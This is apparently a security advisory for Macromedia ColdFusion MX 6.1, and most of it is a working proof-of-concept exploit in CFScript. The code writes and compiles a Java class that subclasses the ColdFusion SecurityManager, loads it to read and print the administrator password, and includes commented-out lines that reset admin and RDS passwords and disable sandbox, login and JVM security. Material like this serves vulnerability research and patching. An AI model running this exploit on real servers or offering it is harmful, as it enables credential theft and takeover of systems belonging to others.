coldfusionmx61.txt

`Software: Macromedia ColdFusion MX 6.1  
  
Description:  
There is a vulnerability in the ColdFusion MX 6.1 product. To exploit  
this, a user needs access to create a cold fusion template on a  
ColdFusion server with CreateObject or cfobject tags enabled. The  
code given below writes a java class to the ColdFusion lib directory  
which allows writing by default. This code compiles the java file,  
but there are other ways to write the class file if the compiler class  
is not available. Once the class is written, it can be accessed by CF  
and all methods exposed. A user can do a variety of things like  
getting the administrator password. Code and examples are given  
below.  
  
Platform Tested: Windows/Linux  
  
Version Tested: ColdFusion MX 6.1  
  
<cfscript>  
  
objFileWriter = CreateObject("java","java.io.FileWriter");  
  
objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");  
  
objJavaC = CreateObject("java","sun.tools.javac.Main");  
  
objString = CreateObject("java","java.lang.String");  
  
objFile = CreateObject("java","java.io.File");  
  
if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }  
  
strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";   
  
strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";  
  
strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";  
  
strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";  
  
fileWriter = objFileWriter.init("#strJavaSource#",false);  
  
fileWriter.write("import coldfusion.security.SecurityManager;");  
  
fileWriter.write("import java.io.File;");  
  
fileWriter.write("public class SecurityExploit extends SecurityManager {");  
  
fileWriter.write("public SecurityExploit(File arg0, File arg1) {");  
  
fileWriter.write("super(arg0, arg1); }");  
  
fileWriter.write("public boolean isAdminSecurityEnabled(){");  
  
fileWriter.write("return false;}}");  
  
fileWriter.flush();  
  
fileWriter.close();  
  
str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");  
  
strArr = str.split(",");  
  
byteArray = objByteArray.init();  
  
compileObj =objJavaC.init(byteArray,str);  
  
compileObj.compile(strArr);  
  
obj = CreateObject("java","SecurityExploit");  
  
file1 = objFile.init("#strNeoSecFile#");  
  
file2 = objFile.init("#strPasswdFile#");  
  
obj.init(file1,file2);  
  
obj.load();  
  
</cfscript>  
  
<cfscript>  
  
// Get Administrator Password   
  
strAdminPw = obj.getAdminPassword();  
  
// Set Administrator Password  
  
//obj.setAdminPassword("test123");  
  
  
// Turn off Sandbox Security  
  
//obj.setSandboxSecurityEnabled(false);  
  
  
// Turn off Administrator Login  
  
//obj.setAdminSecurityEnabled(false);  
  
  
// Turn off RDS Login  
  
//obj.setRdsSecurityEnabled(false);  
  
  
// Set RDS Password  
  
//obj.setRdsPassword("test123");  
  
  
// Turn off JVM Security  
  
//obj.setJvmSecurityEnabled(false);  
  
</cfscript>  
  
<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>  
`